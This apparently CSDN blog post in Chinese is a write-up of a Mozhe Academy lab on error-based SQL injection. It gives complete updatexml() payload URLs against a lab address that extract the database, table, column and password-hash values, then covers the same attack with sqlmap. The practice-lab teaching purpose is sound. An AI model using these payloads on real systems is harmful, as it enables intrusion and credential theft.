继续攻克SQL注入类题目啦!!!今天的题目环境提示比较明显,也是比较常见的一种SQL注入漏洞类型,继续储备知识,撸起袖子加油干!!!
附上题目链接:https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3Ulp0bGhOUT09bW96aGUmozhe
这道题目发现注入位置的方法与SQL手工注入漏洞(MySQL数据库)这道题目是相同的(放上链接:(52条消息) 墨者学院-SQL手工注入漏洞测试(MySQL数据库)_Start&&Over的博客-CSDN博客),但题目预设的环境不同。处理和解决SQL注入问题,一定要顺境而变。
根据登录表单源代码可以发现潜藏的new_list.php?id=1网页,初看网页的payload,感觉可能会存在注入,于是更改payload中id=1为id=1’进行检测,果然出现了报错提示,这是比较明显的SQL注入题型:报错盲注。本题将运用手动注入(updatexml函数)和sqlmap注入两种方法进行解决。


第一种方法:手动注入(updatexml函数)
报错盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而得到想要的基本信息——数据库名、版本、用户名等。实践中常用Xpath函数中的updatexml和extractvalue函数进行报错显示,本题目以updatexml函数为例,extractvalue函数的使用方法与updatexml相同,就不再重复试验了。
在介绍报错原理之前,先认识一下updatexml函数:
UPDATEXML (XML_document, XPath_string, new_value)主要由三个参数组成。
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
简而言之,updatexml函数的作用就是改变文档中符合条件的节点的值。
报错盲注中常用类似于’ and updatexml(1,concat(0x7e,(select database()),0x7e),3)–+这样的SQL语句进行报错。因为updatexml函数的第二个参数需要Xpath格式的字符串,而以~开头的内容不是xml格式的语法,concat()函数作为字符串连接函数显然也不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入。
根据上述理论的描述,依托本题提供的实验环境,进行手动的报错盲注,依次爆破数据库、表、列以及列值。
(1)数据库爆破,发现名为stormgroup的数据库。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),3)%20–+

(2)根据获得的数据库名stormgroup,进行数据库中表的爆破,发现名为member的敏感表。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27stormgroup%27),0x7e),3)%20–+

报错提示结果不止一行,于是更改payload,运用group_concat()函数,将多个结果用逗号连接并显示。
更改后的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27stormgroup%27),0x7e),3)%20–+

(3)根据爆出的表信息,进行列名爆破爆破,发现名为name和password的敏感列。
payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27member%27),0x7e),3)%20–+

(4)对敏感列逐一进行列值爆破,发现两组由name和password组成的数据。
name列列值爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(name)%20from%20member%20limit%200,1),0x7e),3)%20–+

password列列值爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20member%20limit%200,1),0x7e),3)%20–+

此时发现,显示结果没有~作为后缀,说明结果并未完全显示。根据实践经验,可以大概猜出password的值为MD5加密后的结果,应为32位,而网页只显示出31位。因此,可应用substr函数对最后一位结果进行显示。
password列值最后一位爆破的payload语句设置:http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(password,32,1)%20from%20member%20limit%200,1),0x7e),3)%20–+

由于对name列列值进行爆破时,出现两个名为mozhe的列值,因此password也应该有两个列值,依次对password第二组列值前31位和第32位进行爆破。
password第二组列值前31位爆破的payload语句设置:
http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20member%20limit%201,1),0x7e),3)%20–+

password第二组列值最后一位爆破的payload语句设置:
http://124.70.71.251:48149/new_list.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(password,32,1)%20from%20member%20limit%201,1),0x7e),3)%20–+

至此,已获得两组数据,将两组的password值进行MD5解密,并尝试登录。


以账户名为mozhe,密码为516628进行登录,登录成功,获得key值。

第二种方法:sqlmap注入
sqlmap注入方法比较简单粗暴,直接运用sqlmap语句进行数据库、表、列以及列值的逐一爆破即可。
(1)数据库的爆破,仍然可以发现名为stormgroup的数据库。

(2)根据获得的数据库名stormgroup,进行表名的爆破,同样发现名为member的敏感表。

(3)根据获得的表名member,进行表中列名的爆破,发现名为name和password的列。

(4)对name列和password列的列值进行爆破,发现两组数据。

将获得的password值进行MD5解密,并尝试登录。


以账户名为mozhe,密码为607717进行登录,登录成功,同样获得key值。

温馨提示:利用sqlmap工具进行爆破后,要记得对output中的内容进行及时删除,以免影响下一次针对同一IP地址的爆破。

墨者学院-SQL注入漏洞测试(报错盲注)相关推荐

  1. 墨者学院-SQL注入漏洞测试(布尔盲注)

    决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...

  2. SQL注入漏洞测试(报错盲注)笔记

    这个是今天拿下的靶场,这是我作为小白学习的第二个靶场,做一下笔记 已知IP地址为:219.153.49.228,端口号为41280,访问了之后是下面的页面 看到这个页面之后,我进入了后台,查看之后知道 ...

  3. 【SQL注入漏洞-04】布尔盲注靶场实战

    布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...

  4. SQL注入漏洞测试(参数加密)

    SQL注入漏洞测试(参数加密) <此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?1.掌握信息泄露的方式:2.了解A ...

  5. sql注入 1-1_基于报错的注入

    sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入 通过 id =1 可以看到服务器返回正常页面 通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常 通过 id ...

  6. B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注

    前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...

  7. SQL注入之floor报错注入

    SQL注入之floor报错注入 原理 一.count()函数.group by 二.floor()函数 三.rand()函数 四.报错初体验 五.报错注入 1.获取当前数据库 2.获取当前用户 六.靶 ...

  8. SQL报错盲注绕过云锁

    SQL报错盲注绕过云锁 有锁 还是被拦截了,怎么办? 我们要知道对方负责检测我们的语句是否存在恶意代码,对方是装了一个工具,但是工具运行要占用系统内存,对于这种防护类软件占用系统资源还是比较高的,而对 ...

  9. phpcms set inc.php,phpcms V9 sql注入漏洞测试

    phpcms V9 版本存在SQL注入漏洞,漏洞复现如下 0x00 以GET方式访问如下链接,得到返回包里mvbpqw_siteid值: http://127.0.0.1/index.php?m=wa ...

最新文章

  1. 如何以编程方式在Android上截屏?
  2. 机器学习中的算法(1)-决策树模型组合之随机森林与GBDT
  3. 读者看《赢道:成功创业者的28条戒律》
  4. 网站api自己怎么写_网站描述怎么写?对网站优化有什么作用?
  5. 踩坑 - click事件与blur事件冲突问题 input文件上传同名文件问题
  6. .NET Core 3.0之深入源码理解HealthCheck(一)
  7. 前端学习(2948):webpack创建简单项目
  8. delve 调试带参数_带你学够浪:Go语言基础系列-环境配置和 Hello world
  9. 机器人防火墙出击 提升在线业务的安全未来
  10. mysql 递归查询所有父级
  11. 主动微波遥感的测量原理
  12. crc32 C语言程序
  13. 如何修改域名DNS服务器?修改DNS服务器常见问题汇总
  14. w10 桌面计算机垃圾桶,解答win10我的电脑怎么放在桌面
  15. bandizip修改压缩文件内容_BandiZip解压添加压缩文件教程
  16. vi与vim的区别以及常用命令
  17. 每日英语Daily English
  18. 【步兵 经验篇】one step
  19. 仿真软件测试基尔霍夫定律,标签:基尔霍夫定律
  20. 刀片服务器的机箱显示器,刀片服务器机箱如何配置网络交换器端口

热门文章

  1. linux怎么打开rpm文件怎么打开,RPM格式文件怎么打开
  2. 码教授送你的毕业季礼物
  3. [经验分享]TL431的应用及其封装乱象
  4. 国家食品药品监督管理局 前有27家网站有资格向个人销售非处方药
  5. java原生和SpringBoot读取jar包中MANIFEST.MF的方式
  6. 3、Prism的使用二
  7. UWB+ZigBee定位技术开创井下空间里的“GPS”导航
  8. 基于可穿戴传感器和深度卷积神经网络运动状态进行下半身监控算法
  9. 爬虫Scrapy安装笔记
  10. SD-WAN最让人心动的四个功能